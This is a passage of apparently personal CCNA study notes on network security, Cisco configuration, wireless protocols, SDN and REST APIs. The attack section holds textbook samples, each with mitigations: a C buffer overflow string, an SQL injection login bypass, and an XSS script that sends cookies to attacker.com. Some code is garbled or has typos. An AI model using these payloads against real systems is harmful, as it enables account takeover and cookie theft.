attaching to files, worms spread independently through networks, and trojans deceive users into installing them. Ransomware encrypts files for ransom, while spyware covertly monitors user activities. Modern malware is sophisticated, employing encryption and obfuscation to evade detection. It’s sold and distributed through underground forums and marketplaces, often offering malware-as-a-service (MaaS) models that enable less technically skilled actors to launch attacks. Nation-states also play a role, sponsoring advanced malware campaigns for espionage or disruption. The impact spans financial losses, privacy violations, and critical service disruptions, affecting industries worldwide. Addressing this threat requires comprehensive cybersecurity measures, education, and international cooperation to mitigate risks effectively and safeguard digital ecosystems.

The buffer overflow is a type of software vulnerability where an application or system process attempts to store more data in a buffer (temporary storage area) than it was intended to hold. This can cause the extra data to overwrite adjacent memory locations, leading to unpredictable behavior or even allowing an attacker to execute arbitrary code.

```
#include <string.h>
void vulnerableFunction(char *input) char buffer[10]; strcpy(buffer, input);
int main() char attackString[30] = ”AAAAAAAAAAAAAAAAAAAA\xef\xbe\xad\xde”; vulnerableFunction(attackString);
return 0;
```

In C, there are no bounds checking mechanisms built into arrays. Therefore, copying more characters than ’buffer’ can hold will overwrite adjacent memory locations, potentially corrupting data or even altering the program’s execution flow.

In computer systems, memory is organized into bytes, each represented by two hexadecimal digits. \xef\xbe\xad\xde is a sequence of four bytes, each represented by two hexadecimal digits. When ’vulnerableFunction’ is called, a stack frame is created in memory. This stack frame includes: local variables, function parameters, and a return address. If ’input’ is longer than the size allocated for ’buffer’, ’strcpy’ will write beyond the boundaries of ’buffer’. When ’strcopy’ writes beyond ’buffer’, it can overwrite adjacent memory locations on the stack. The exact location of the return address on the stack relative to ’buffer’ depends on the compiler, function parameters, and other factors. If ’\xef\xbe\xad\xde’ is chosen because it represents a specific value in memory that an attack can use to manipulate the program’s control flow. If ’\xef\xbe\xad\xde’ overwrites the return address, the program might attempt to return to the address ’\deadbeef’ due to little-endian architecture. Then shell code could be placed at the address ’\xdeadbeef’. effectively gaining control of the program’s execution. In little-endian systesms, multi-byte values are stored with the least significant byte first. There is also heap-based buffer overflows that occur in dynamically allocated memory (heap), often involving more complex exploitation techniques. To prevent stack overflow vuls and related attacks validate the buffer size, use secure functions that perform bounds checking, use compiler features that detect and prevent buffer overflows by checking if the stack has been corrupted before allowing a return.

SQL injection is a technique where malicious SQL statements are inserted into input fields (e.g., login forms, search boxes) of a web application, exploiting vulnerabilities in the application’s handling of user-supplied data. This can allow attackers to manipulate databases, retrieve sensitive information, or execute commands on the database server.

Consider a simple login form where the SQL query is construced using user input: SELECT * FROM users WHERE username = ’input_username’ AND password = ’input_password’

If input is say ’ ’ OR ’1’1=’1’ – ’ the SQL query would become SELECT * FROM users WHERE username = ” OR ’1’=’1’–’ AND password = ” causing the query to return all rows from the ’users’ table, bypassing authentication

XSS attacks inject malicious scripts (usually JavaScript) into web pages viewed by other users. These scripts can execute in the context of the victim’s browser, allowing the attacker to steal cookies, session tokens, or other sensitive information, and perform actions on behalf of the victim.

<script>var img = new Image(); img.src = ’http://attacker.com/steal.php?cookie=’ + encodeURIComponent(document.cookie); </script>this injects a script that sends cookie details to a controlled domain

Brute force attacks involve systematically trying all possible combinations of passwords or encryption keys until the correct one is found. They are typically used when other attack vectors (such as guessing) are not feasible due to strong security measures.DoS attacks aim to make a machine or network resource unavailable to its intended users by overwhelming it with a flood of illegitimate requests. Reflection attacks exploit the behavior of servers or networks that can bounce traffic back to a victim. Attackers spoof the victim’s IP address in their requests to these reflective services, causing them to send large amounts of data back to the victim’s IP. This flood of traffic overwhelms the victim’s network bandwidth or server resources, effectively causing a denial-of-service (DoS) condition. Commonly exploited services include DNS (Domain Name System) servers and NTP (Network Time Protocol) servers, which respond with larger packets than the original request, amplifying the impact of the attack. Reflection attacks are dangerous due to their ability to multiply the volume of attack traffic without requiring significant resources from the attacker’s side, making them a favored method in large-scale DDoS (Distributed Denial of Service) attacks. Amplification attacks are a specific subset of reflection attacks that exploit servers or services that amplify response sizes significantly compared to the initial request. Attackers send small requests to these servers, spoofing the victim’s IP address as the source. The servers then respond with much larger responses, magnifying the amount of data directed at the victim. This amplification effect leverages vulnerabilities in protocols like DNS, NTP, SNMP (Simple Network Management Protocol), and others that produce responses larger than the queries they receive. Amplification attacks are particularly potent in DDoS scenarios, as they allow attackers to maximize the impact of their attacks with minimal effort, overwhelming victim networks and causing extensive downtime or service disruption. Man-in-the-Middle (MitM) attacks involve intercepting communication between two parties without their knowledge, allowing the attacker to eavesdrop on conversations, manipulate data, or impersonate one or both parties. Attackers position themselves between the communication flow, intercepting and possibly altering messages in transit. This interception can occur at various points in the communication pathway, including WiFi networks, compromised routers, or even through malware installed on devices. MitM attacks are often used to steal sensitive information such as login credentials, financial data, or private conversations. They pose significant threats to both individuals and organizations, highlighting the importance of secure communication channels and encryption protocols to protect against unauthorized interception and tampering. Reconnaissance attacks involve gathering information about a target network or system to identify vulnerabilities, entry points, and valuable data for exploitation. Attackers use various techniques, including scanning publicly available information, network scanning tools, and social engineering tactics to gather intelligence. Reconnaissance helps attackers map out the network topology, discover active hosts, and identify weak points such as outdated software, misconfigured devices, or open ports. This information is critical for planning and launching subsequent attacks, such as deploying malware, exploiting known vulnerabilities, or launching targeted phishing campaigns. Defending against reconnaissance attacks requires robust network monitoring, vulnerability management practices, and user education to prevent attackers from gaining a foothold and escalating their malicious activities.

Mitigation techniques encompass a range of strategies aimed at reducing vulnerabilities and mitigating potential threats. These include regularly updating software and systems to patch known vulnerabilities, implementing rigorous access controls to limit resource access to authorized users and devices, and encrypting sensitive data both during transmission and storage to prevent unauthorized access. Deploying firewalls for network traffic filtering and IDS/IPS systems for detecting and blocking suspicious activities further enhances security measures. User education plays a critical role in mitigating risks by training them to identify phishing attacks, social engineering tactics, and other security threats. Secure coding practices, including adherence to coding guidelines and conducting regular code reviews, help minimize vulnerabilities during software development. Lastly, developing and implementing incident response plans and procedures ensures organizations can effectively manage and minimize the impact of security incidents when they occur.

5.2 Describe security program elements (user awareness, training, and physical access control)

User awareness in cybersecurity involves educating employees and users about risks, best practices, and organizational policies to foster a security-conscious culture. This includes implementing clearly defined security policies covering areas like password management, data handling, and the acceptable use of systems. Regular awareness campaigns through emails, newsletters, and posters inform users about current threats, phishing attempts, and security updates. Training programs, such as workshops, seminars, or online courses, are essential to educate users on recognizing social engineering attacks, secure browsing practices, and incident reporting procedures. By addressing human errors that often lead to breaches, awareness initiatives help users understand risks and adopt secure behaviors, ensuring compliance with security policies and fostering accountability for protecting sensitive information. A culture of security encourages everyone to contribute to organizational resilience against cyber threats. Physical access control complements these efforts by limiting access to premises, equipment, and sensitive areas using mechanisms like key cards, biometric scanners, and PIN codes. Surveillance through CCTV and adherence to security policies further enhance protection against unauthorized access and ensure compliance with regulatory requirements. Integrating physical security with IT measures safeguards assets and infrastructure effectively against theft, tampering, or sabotage, thus protecting data and systems from physical threats.

5.3 Configure and verify device access control using local passwords
configure ↓

- Router(config)# service password-encryption
- Router(config)# enable secret <password>
- Router(config)# line console 0
- Router(config-line)# password <password>
- Router(config-line)# login
- Router(config)# line vty 0 15
- Router(config-line)# password <password>
- Router(config-line)# login

verify ↓

- Router# show run | include enable secret
- Router# show run | include line console 0

- Router# show run | include line vty 0 15

5.4 Describe security password policies elements, such as management, complexity, and password alternatives (multifactor authentication, certificates, and biometrics)

Effective password management is crucial for ensuring the security of user accounts and systems within an organization. It encompasses several key practices, starting with the creation of strong passwords. Organizations typically establish guidelines that dictate the minimum length, complexity (including requirements for uppercase letters, lowercase letters, numbers, and special characters), and restrictions on common words or easily guessable sequences. Passwords should be stored securely, often using encryption methods to protect them from unauthorized access in case of a data breach. Regular password expiration policies are also implemented to reduce the risk of compromised credentials over time, requiring users to change passwords at specified intervals. Secure procedures for password reset and recovery, such as identity verification through challenge questions or multi-step authentication, further enhance the overall security posture by ensuring that only authorized users can gain access to their accounts.

Password complexity requirements are designed to strengthen the resilience of passwords against unauthorized access attempts. This involves setting minimum standards for password length and complexity, typically requiring passwords to be at least 8 to 12 characters long and include a mix of uppercase letters, lowercase letters, numbers, and special characters. By enforcing such standards, organizations mitigate the risk posed by brute-force attacks and automated password cracking tools that exploit weak passwords. Additionally, policies may include checks to prevent the use of easily guessable passwords based on dictionary words, common phrases, or predictable sequences. These measures not only enhance the security of user accounts but also align with regulatory requirements and industry best practices aimed at safeguarding sensitive information and protecting against data breaches.

As organizations recognize the limitations of passwords in providing robust security, they increasingly adopt alternative authentication methods to complement or replace traditional password-based systems. Multifactor authentication (MFA) stands out as a prominent alternative, requiring users to provide multiple credentials from different categories (something they know, have, or are) to verify their identity. This approach significantly enhances security by adding layers of protection beyond passwords alone, reducing the likelihood of unauthorized access even if one factor is compromised. Certificates provide another alternative, leveraging public key cryptography to authenticate the identity of users or devices in secure communication channels. Biometric authentication, using unique physical or behavioral characteristics like fingerprints or facial recognition, offers a user-friendly and secure method that mitigates the risks associated with password theft or phishing attacks. These alternatives not only bolster security but also improve user convenience by offering flexible and reliable authentication methods tailored to the organization's risk tolerance and operational needs.

Successful implementation of robust password policies and alternatives requires a holistic approach that integrates technological solutions with user education and compliance oversight. Organizations should educate users on best practices for creating and managing passwords, as well as guidelines for utilizing alternative authentication methods securely. Technological measures such as deploying MFA solutions, implementing certificate management systems, and integrating biometric authentication into access control systems should be aligned with organizational policies and risk management strategies. Regular reviews and updates to password policies and alternative authentication mechanisms are essential to adapt to evolving security threats and technological advancements. By prioritizing comprehensive security measures and continuous improvement, organizations can effectively safeguard sensitive information, protect against unauthorized access, and maintain compliance with regulatory requirements.

5.5 Describe IPsec remote access and site-to-site VPNs

IPsec (Internet Protocol Security) is a suite of protocols used to secure internet protocol (IP) communications by authenticating and encrypting each IP packet of a communication session. It supports two main types of VPNs (Virtual Private Networks): remote access VPNs and site-to-site VPNs. Remote access VPNs allows individual users to securely connect to a private network from a remote location, typically over the internet. It enables remote workers, telecommuters, or mobile users to access resources on a corporate network as if they were physically present in the office. Remote access VPNs require client software installed on the user's device (laptop, smartphone) to establish the VPN connection. A VPN gateway, often a firewall or dedicated VPN concentrator, resides on the corporate network and handles VPN connections from remote clients. Users authenticate themselves to the VPN gateway using credentials (username/password, digital certificates, tokens). Once authenticated, the client and gateway negotiate and establish an IPsec tunnel. All traffic between the client and the gateway is encrypted using IPsec protocols (like ESP - Encapsulating Security Payload) to ensure confidentiality. After establishing the VPN tunnel, access to specific resources (servers, applications) is controlled based on user roles and permissions defined in the corporate network's access policies. A site-to-site VPN connects two or more geographically dispersed networks (e.g., branch offices, data centers) securely over the internet or other public networks. It establishes a virtual network between the sites, allowing seamless communication and sharing of resources between them. Each site has a VPN gateway (often a firewall or router) responsible for encrypting and decrypting traffic between sites. VPN gateways authenticate each other to establish trust and secure communication. Multiple IPsec tunnels are created, one for each pair of connecting sites. After tunnel establishment, routing protocols or static routes are used to direct traffic between sites securely over the encrypted tunnels. IPsec protocols (ESP, AH - Authentication Header) are used to encrypt and protect data traffic between sites.

5.6 Configure and verify access control lists

Standard ACLs match source IP addresses only.

- R1(config)# access-list 1 deny [host] 192.168.1.233 [log]

Extended ACLs have more matching parameters then standard ACLs.

- R1(config)# access-list 101 permit tcp 172.16.1.0 0.0.0.255 172.16.3.0 0.0.0.255 eq 21

Named ACLs have a subconfiguration mode with sequence numbers for ACEs.

- Router(config)# ip access-list extended barney
- Router(config-ext-nacl)# permit tcp host 10.1.1.2 eq www any
- Router(config-ext-nacl)# interface serial1
- Router(config-if)# ip access-gorup barney out

verify the following: ↓

- place standard ACLs as close to the destination as possible
- place extended ACLs as close to the source as possible
- disable the ACL before altering the ACEs

miscellaneous ↓

wildcard mask (inverted subnet mask) = limited broadcast address (255.255.255.255) - subnet mask
subnet = host address && mask
high end (broadcast) = low end (subnet) + wildcard

some well-known ports ↓

- FTP - 20 (data), 21 (control)
- SSH - 22
- Telnet - 23
- SMTP - 25
- DNS - 53
- HTTP - 80

- HTTPS - 443
- RDP - 3389
- LDAP - 389
- DHCP - 67 (server), 68 (client)
- TFTP - 69
- POP3 - 110
- IMAP - 143
- NTP - 123
- SNMP - 161 (SNMP), 162 (SNMP Trap)
- Syslog - 514
- RADIUS - 1812 (authentication), 1813 (Accounting)
- TACACS+ - 49

0d $\rightarrow$ 0b $\downarrow$

- 1. continue to divide by 2
- 2. each division set aside the remainder
- 3. once the quotient is 0, merge the remainders in reverse order

0x $\rightarrow$ 0d $\downarrow$

- 1. separate the digits and convert them to decimal digits
- 2. multiply each digit by the respective power of 16
- 3. add them

0d $\rightarrow$ 0x $\downarrow$

- 1. identify the largest power of 16 less than the decimal number
- 2. continue to divide the remainders by the largest power of 16 setting the quotient aside
- 3. merge quotients and convert the digits individually

5.7 Configure and verify Layer 2 security features (DHCP snooping, dynamic ARP inspection, and port security)

DHCP snooping prevents spurious DHCP servers.

- Switch(config)# ip dhcp snooping
- Switch(config)# ip dhcp snooping vlan <vlan_id>
- Switch(config-if)# ip dhcp snooping trust

verify$\downarrow$

- Switch# show ip dhcp snooping
- Switch# show ip dhcp snooping binding

Dynamic ARP inspection prevents ARP spoofing/poisoning.

- Switch(config)# ip arp inspection
- Switch(config)# ip arp inspection vlan <vlan_id>
- Switch(config-if)# ip arp inspection trust

verify↓

- Switch# show ip arp inspection
- Switch# show ip arp inspection statistics

Port security is used to keep unauthorized devices from accessing the network.

- Switch(config-if)# switchport port-security
- Switch(config-if)# switchport port-security maximum <value>
- Switch(config-if)# switchport port-security violation shutdown | restrict | protect

verify↓

- Switch# show port-security interface <interface>
- Switch# show port-security [address]

5.8 Compare authentication, authorization, and accounting concepts

Authentication precedes authorization and accounting. There are many different methods for authentication which typically involve presenting credentials like: usernames\passwords, digital certificates, biometric data, tokens, smart cards, etc. Users must authenticate first before access rights are determined or activities are logged. Authorization follows authentication to decide what actions or resources are permitted. Accounting occus concurrently with access and can continue after actions are completed to log resource usage.

5.9 Describe wireless security protocols (WPA, WPA2, and WPA3)

The Wi-Fi Alliance is a global nonprofit organization that promotes and certifies Wi-Fi technology standards to ensure interoperability and security across devices and networks. Their mission is to drive the adoption of Wi-Fi technologies and standards globally. It aims to enhance the user experience by ensuring seamless connectivity, interoperability, and security amoung Wi-Fi devices. They develop and manage certification programs for Wi-Fi technologies. These certs validate that Wi-Fi products comply with industry standards, ensuring compatibility and reliability. The Wi-Fi Alliance collaborates with industry stakeholders, including technology vendors, service providers, and regulatory bodies, to develop and evolve Wi-Fi standards. It works closely with organizations such as the IEEE to contribute to the development of new Wi-Fi standards and technologies. They develop and promote security protocols like WPA3 to protect Wi-Fi networks against evolving threats.

WEP was developed by the IEEE as part of the original 802.11 standard for wireless networks. It was intended to provide privacy and integrity for data transmitted over wireless networks, such as Wi-Fi. WEP uses a symmetric key encryption system, where both the sender and receiver use the same key to encrypt and decrypt data. The key can be either 40 bits or 104 bits long. Before transmitting data, WEP encrypts it using the shared secret key. WEP uses the RC4 stream cipher for encryption, which generates a pseudorandom stream of bits based on the key and an initialization vector (IV). The IV is a 24-bit value that is combined with the secret key for each packet. This combination creates a unique encryption key for each packet, increasing security compared to using only the secret key. Encrypted data is transmitted over the wireless network. Each packet includes the encrypted payload and a plaintext checksum called the Integrity Check Value (ICV). Upon receiving a packet, the recipient uses the shared secret key and the IV to decrypt the data. The recipient also verifies the integrity of the packet by recalculating the ICV and comparing it to the received ICV. Over time, WEP has been found to have significant security vulnerabilities. WEP keys were static and had to be manually configured on all devices, making it sumbersome to manage in large networks. The design flaws in WEP, such as weak initialization vector management and vulnerabilites in the RC4 cipher, led it its widespread abanodonment in favor of more secure protocols like WPA.

TKIP dynamically generates a new encryption key for each packet transmitted, enhancing security compared to WEP. It also includes a 64-bit Message Integrity Check (MIC) to detect any alterations to packets during transmission. WPA supports several authentication methods through EAP, including EAP-TLS (Transport Layer Security), EAP-TTLS (Tunneled Transport Layer Security), and PEAP (Protected Extensible Authentication Protocol). WPA simplifies key management by using a Pairwise Master Key (PMK) derived from a passphrase entered by users. This PMK is then used to generate encryption keys dynamically during the session.

WAP2 further enhances security by replacing TKIP with the stronger AES, which is more resistant to cryptographic attacks. AES (Advanced Encryption Standard) with CCMP (Counter Mode with Cipher Block Chaining Message Authentication Code Protocol) is the standard encryption mechanism used in WPA2. AES is a symmetric key encryption algorithm that operates on blocks of data. CCMP provides data confidentiality, integrity, and authentication using AES. WPA2 supports strong mutual authentication between clients (devices) and the network through the use of EAP methods. This ensures that both parties (client and network) authenticate each other securely before data transmission begins. WPA2 uses the 4-way handshake process to securely negotiate and establish fresh session keys between the client and the access point (AP). The Pairwise Transient Key (PTK) is generated during this handshake process, which is used to protect data transmitted between the client and the AP. WPA2 maintains backward compatibility with devices that support WPA, allowing for a smooth transition and support for legacy hardware.

WAP3 is gradually being adopted in new Wi-Fi devices and networks. As more devices and infrastructure support WPA3, it is expected to become the new standard for securing Wi-Fi networks, offering improved security and ease of use compared to previous versions like WPA2. WPA3 uses the Simultaneous Authentication of Equals (SAE) handshake protocol for key exchange between the client device and the access point (AP). SAE is a secure key exchange protocol based on the mathematical principle of the elliptic curve Diffie-Hellman (ECDH), providing stronger protection against offline dictionary attacks compared to WPA2's PSK method. WPA3 continues to use AES encryption, similar to WPA2, but enhances security by ensuring that even if an attacker captures encrypted data, it cannot be easily decrypted without the session key. Each device connected to a WPA3 network receives its own unique encryption key, providing additional protection against attacks that target the shared network key. Wi-Fi Easy Connect simplifies the process of securely adding devices to a network without needing to manually enter passwords. It supports QR code scanning, NFC tapping, or other methods depending on the device capabilities.

Extensible Authentication Protocol (EAP) and 802.1x are related terms often used together in the context of network security, especially for wired and wireless networks. 802.1x is a protocol that specifies how to enforce port-based access control and manage the state of networks ports based on the authentication status. In PNAC when a client device (supplicant) is connecting to a network port, the network access point (authenticator) keeps the port in a restricted state until the device successfully completes an authentication process. The supplicant will send credentials to the authenticator, and the authenticator will forward them to an AS. Upon successful verification, the authentication server informas the authenticator, which then allows the port to transition from a restricted state to an authorized state, granting network access to the supplicant. EAP is a framework that defines the structure and mechanisms for transporting various authentication methods securely over network links. EAP allows different types of creds and authentication mechs (digital certs, usernames/passwords, token cards, etc.) to be used within its framework. EAP is used within 802.1x to carry out the authentication process between the suplicant and the authentication server via the authenticator.

Lightweight Extensible Authentication Protocol (LEAP) was developed by Cisco Systems. It was primarily used in older Cisco wireless networking equipment but has largely been deprecated due to security vulnerabilities. It uses a username/password-based authentication mechanism. The client (supplicant) sends its username and password to the Access Point (AP). The AP forwards these credentials to a RADIUS server for verification. If the credentials are correct, the RADIUS server sends an acceptance message back to the AP, granting access to the client. LEAP has known vulnerabilities, such as susceptibility to offline dictionary attacks due to the way it encrypts and stores passwords. Due to these security weaknesses, Cisco has recommended migrating from LEAP to more secure EAP methods like EAP-TLS, PEAP, or EAP-TTLS.

EAP-TLS uses mutual authentication via digital certificates to secure the authentication process between the client and the AS. A client will initiate by presenting its digital cert to the network AP (authenticator). The authenticator verifies the client's certificate with a CA. The server also verifies the client's certificate and typically validates the clients's identity against a user database. Both the client and server authenticate each other using their respective certificates, ensuring a high level of security. Once mutual authentication is completed within the TLS tunnel, the actual authentication credentials (typically stored in the client's digital certificate) are exchanged securely.

Protected Extensible Authentication Protocol (PEAP) encapsulates EAP within a TLS tunnel (similar to HTTPS). It creates a secure tunnel between the client and the authentication server. Initially, the server presents its digital certificate to the client to establish trust. Then, the client and server perform a TLS handshake to create a secure tunnel. Within this tunnel, EAP exchanges occur to authenticate the client. PEAP provides strong authentication by leveraging the security of TLS. It protects against attacks like man-in-the-middle (MITM) and provides mutual authentication between the client and server.

EAP-TTLS also uses TLS to create a secure tunnel between the client and authentication server. Unlike PEAP, EAP-TTLS supports various inner authentication methods (like MS-CHAP, EAP-MD5, etc.) within the TLS tunnel. This flexibility allows for a wider range of authentication mechanisms without needing to establish separate tunnels for each method. EAP-TTLS ensures the confidentiality and integrity of authentication data through TLS. It also supports server-side certificate validation, enhancing security.

EAP-FAST (Flexible Authentication via Secure Tunneling) is designed for fast re-authentication and is built upon a PAC (Protected Access Credential) mechanism. It starts with a TLS tunnel setup similar to PEAP. The client and server establish mutual authentication and derive a TLS session key. The PAC is used to securely store and retrieve credentials for fast re-authentication in subsequent sessions. EAP-FAST focuses on reducing authentication latency and improving user experience while maintaining strong security through TLS and PACs.

EAP-SIM (Subscriber Identity Module) or EAP-AKA (Authentication and Key Agreement) is primarily used in GSM and UMTS mobile networks, where it leverages the SIM card's capabilities for authentication. The SIM card, which securely stores subscriber identity information, is used to authenticate the user. EAP-SIM enables mutual authentication between the client (mobile device) and the network using keys stored on the SIM. By utilizing the SIM card, EAP-SIM provides strong authentication and protects against various network attacks.

TLS operates at the Transport Layer (Layer 4) of the OSI model and provides secure communication over a computer network, typically the Internet. It ensures privacy, integrity, and authentication of data transmitted between clients and servers. The TLS handshake begins when a client (e.g., web browser) sends a "ClientHello" message to the server. This message includes: supported TLS versions, a list of cipher suites (encryption algorithms) the client supports, an a random number generated by the client, which will be used later in the key exchange process. Upon receiving the ClientHello message, the server responds with a "ServerHello" message, which includes: selected TLS version, selected cipher suite from the slient's list that both the server and client support, and a random number generated by the server for the key exchange proces. The server sends its digital certificate to the client. This certificate includes the server's public key and is typically issued by a trusted CA. In some cases (depending on the cipher suite), the server may send additional information to assist in key exchange or provide parameters for Diffie-Hellman key exchange. The client generates a pre-master secret (a random symmetric key) and encrypts it with the server's public key (obtained from the server's certificate). This encrypted pre-master secret is sent to the server. Both client and server independently derive session keys from the pre-master secret and the random numbers exchanged during the handshake. These session keys are symmetric keys used for encryption and decryption of data during the TLS session. The server sends a "Finished" message, encrypted with the session keys, to confirm that the handshake is complete from its side. The client also sends a "Finished" message, encrypted with the session keys, to confirm the handshake completion from its side. Once the handshake is completed and both parties have verified each other's identities (if mutual authentication is enabled), a secure TLS tunnel is established. All subsequent data transmitted between the client and server is encrypted using the negotiated session keys and the selected cipher suite.

5.10 Configure and verify WLAN within the GUI using WPA2 PSK

First, access the wireless controller or access point's graphical user interface (GUI) through a web browser. Navigate to the WLAN configuration section, typically found under wireless settings or WLAN settings. Create a new WLAN profile or select an existing one if configuring settings. Ensure that the security mode is set to WPA2 PSK, which offers robust encryption for securing wireless communications. Enter a strong pre-shared key (PSK) that will be used by clients to authenticate and encrypt data transmission. Verify and apply the settings to activate the WLAN profile. Next, confirm proper configuration by connecting a wireless client device to the configured WLAN. Ensure the client successfully associates with the SSID (Service Set Identifier) of the WLAN and authenticates using the WPA2 PSK. Verify connectivity to the network resources to ensure proper WLAN functionality. Use the GUI to monitor client associations and WLAN performance metrics as needed. This process ensures that the WLAN is securely configured and operating effectively with WPA2 PSK encryption for CCNA exam preparation and practical networking deployments.

6.0 Automation and Programmability

6.1 Explain how automation impacts network management

Automation allows a network to be changed all at once. This minimizes the amount of times humans have to interface with the network. This provides consistency which will decrease the amount of misconfigured devices and thus improve security. Templates and policies can be implemented up-front to comply with organizational standards and industry best practices. Automated tools can be implemented for monitoring and maintenance these tools continuously track network performance metrics and detect anomalies by integrating ML. ML can also be used to imrpove the turn-around time once certain metrics are observed. This saves time, money, and improves the QoE for users of the network. Automation simplifies audit processes by generating comprehensive reports on network configurations, access controls, and compliance with regulatory requirements, facilitating easier compliance management. Since automation reduces the need for manual, repetitive task network administration time can be properly allocated to the most important strategic initiatives.

6.2 Compare traditional networks with controller-based networking

In a traditional network you have a hierarchical structure, control is distributed evenly amoungst the network devices and each devices operates independently and makes its own desisions. Management is done manually with little automation. These networks do not scale well and optimizations are managed via static routing and other manual adjustments. These traditional networks are much less flexible when new inovations become popular because there are many constraints that are not in alignment. Fault tolerance is typically achived via hardware redundacy and protocols which can be costly the more you scale. In opposition, SDN architectures are flattened and the control plane functions are decoupled from the data plane functions and placed in a central location. Management is done via the controller and network devices and their data can be read/written automatically via APIs. This type of network architeture scales better and is more fault tolerant because you can dynamically allocate resources and adjust network behavior through policies.

6.3 Describe controller-based, software defined architecture (overlay, underlay, and fabric)

- 6.3.a Separation of control plane and data plane
- 6.3.b Northbound and Southbound APIs

In modern networking, especially in large-scale environments, traditional networking models are evolving towards controller-based and software-defined architectures to achieve better scalability, flexibility, and automation. The control plane is responsible for making decisions about how data packets should be forwarded through the network. It manages routing protocols, determines the best path for data packets, and updates routing tables. The data plane (forwarding plane) is responsible for the actual forwarding of data packets based on the decisions made by the control plane. It handles packet switching and forwarding based on predefined rules (like access control lists and routing tables). Separating the control plane from the data plane allows for centralized management and decision-making in software-defined networks (SDNs). This separation enables network administrators to manage network traffic flows and optimize network performance more efficiently.

Northbound APIs are interfaces that allow applications and higher-level software to communicate with the SDN controller. These APIs abstract the complexity of the underlying network infrastructure, providing a standardized way for applications to request network services and retrieve network status information. Southbound APIs are interfaces used by the SDN controller to communicate with network devices and elements in the underlying physical or virtual network infrastructure. These APIs translate the high-level network policies and configurations from the controller into specific instructions that network devices understand and execute. Northbound APIs enable integration with external applications such as network management systems, orchestration platforms, and monitoring tools. They facilitate programmability and automation of network operations, allowing organizations to implement policies dynamically and respond to changing network conditions in real-time. Southbound APIs, on the other hand, enable the controller to configure network devices, gather network statistics, and control traffic forwarding paths based on the decisions made by the centralized controller.

The underlay network provides the physical connectivity between devices in the network fabric. It typically uses traditional IP addressing (IPv4 or IPv6) for routing purposes. Devices in the underlay network are assigned IP addresses based on the underlying physical network topology. These IP addresses are used by routers and switches to establish the foundation of the network fabric, ensuring basic connectivity and routing capabilities. Underlay networks commonly use interior gateway protocols (IGPs) such as OSPF (Open Shortest Path First) or IS-IS (Intermediate System to Intermediate System) for dynamic routing within the fabric. These protocols rely on IP addressing to determine the best paths for forwarding packets between devices. Underlay addressing is designed to support large-scale networks efficiently, ensuring that devices can communicate across the fabric with minimal latency and optimal performance. It forms the backbone upon which overlay networks (such as VXLAN, MPLS, or others) can be deployed. Overlay networks are virtual networks created on top of the underlay network to provide additional functionalities such as network segmentation, virtualization, and service isolation. To establish communication between devices in different segments of the fabric, overlay networks encapsulate packets within an additional header. This process is known as tunneling. Each overlay network typically has its own addressing scheme, which is independent of the underlay addressing. Common overlay protocols include VXLAN (Virtual Extensible LAN), MPLS (Multiprotocol Label Switching), and GRE (Generic Routing Encapsulation). These protocols add a header to the original packet, containing the information necessary for routing and forwarding within the overlay network. Devices within the overlay network are assigned addresses specific to that overlay scheme. For example, VXLAN uses a 24-bit VXLAN Network Identifier (VNI) to distinguish different virtual networks (VNIs), allowing multiple tenants or services to coexist within the same physical infrastructure without overlap. When a packet is sent from one device to another across the fabric, the overlay encapsulation ensures that the packet is routed correctly based on the overlay addressing and routing information. The underlay IP addressing is used primarily for routing the encapsulated packets between the endpoints of the overlay tunnels. Both underlay and overlay addressing schemes work together to provide a comprehensive network fabric solution. The underlay ensures reliable connectivity and routing, while the overlay enables flexible network virtualization and service isolation. Network administrators configure and manage both underlay and overlay addressing schemes to optimize network performance, ensure security, and meet business requirements. Tools such as Cisco DNA Center or other SDN (Software-Defined Networking) controllers can simplify the configuration and management of fabric addressing, ensuring consistency and scalability across the network.

6.4 Explain AI (generative and predictive) and machine learning in network operations

Generative AI involves systems capable of creating new content, data, or solutions based on patterns learned from existing data. Generative AI can optimize network topologies based on parameters like performance requirements, scalability, and redundancy. It can automate the configuration process for devices and services. It can leverage NLP for natrual language quireies, interpretting logs, and support tickets. This enables automated responses, troubleshooting advice, and root cause analysis. Some limitations of generative AI include: complexity and accuracy, interpretability, resouce intensiveness, adaptability to dynamic environments, ethical and security concerns. Predictive AI focuses on forecasting future outcomes based on historical data and patterns. In networking operations, predictive AI enhances decision-making and proactice management. Algorithms analyze network equipment performance data (latency, packet loss, and hardware metrics) to predict potential failures or degradation. This allows for proactive maintenance and minimizes downtime. Models can detect anomalies in network traffic patterns that may indicate security threats, such as DDOS attacks, malware infiltration, or unauthorized access attempts. By analyzing historical attack data and network vulnerabilities, predictive AI can forecast potential security threats and recommend preemptive measures. Some limitations of predictive AI include: data quality and availability, prediction uncertainty, complexity of network interactions, scalability and generalization, human expertise and validation. Mitigating strategies for using AI include: data governance, hybrid approches, continuous learning, robust testing and validation, ethical considerations.

6.5 Describe characteristics of REST-based APIs (authentication types, CRUD, HTTP verbs, and data encoding)

Representational State Transfer: stateless, client-server architecture, uniform interface, resource-based, state transfer, cacheability, layered system, code-on-demand (OPTIONAL)

Authentication in REST-based APIs can be implemented in various ways:

- HTTP Basic Authentication: This involves sending the username and password with each request using the 'authorization' header. It's simple but less secure because credentials are sent in plaintext.
- HTTP Digest Authentication: Similar to Basic Authentication but hashes the credentials to improve security.
- Token-based Authentication (JWT): Tokens are issued after initial authentication and are sent with each subsequent request. JWT (JSON Web Token) is a popular choice due to its compact size and ability to contain user information.
- OAuth: OAuth 2.0 is widely used for delegated authorization, allowing third-party applications to access resources on behalf of a user without exposing their credentials.
- API Keys: A simple form of authentication where an API key (a unique identifier) is included in the request header or URL query parameters.

HTTP verbs nicely map onto CRUD operations:

- GET: retrieves data from the server
- POST: submits data to be processed to the server
- PUT: updates data on the server (replacing existing data)
- PATCH: updates data on the server (partially modifying existing data)
- DELETE: removes data from the server

Data Encoding: converting structured data or objects into a format that can be easily stored, transmitted, or reconstructed later. (saving data to disk, sending it over a network, sharing is between systems)

- JavaScript Objext Notation (JSON) is a lightweight data interchange format that is easy for humans to read and write, and easy for machines to parse and generate.
- eXtensible Markup Language (XML) provides a hierarchical structure and is used for structued data representation. It allows defining custom data types and structures.
- Binary Formats like Protocol Buffers (protobuf), MessagePack, and BSON are optimized for compactness and efficient serialization/deserialization.

6.6 Recognize the capabilities of configuration management mechanisms, such as Ansible and Terraform

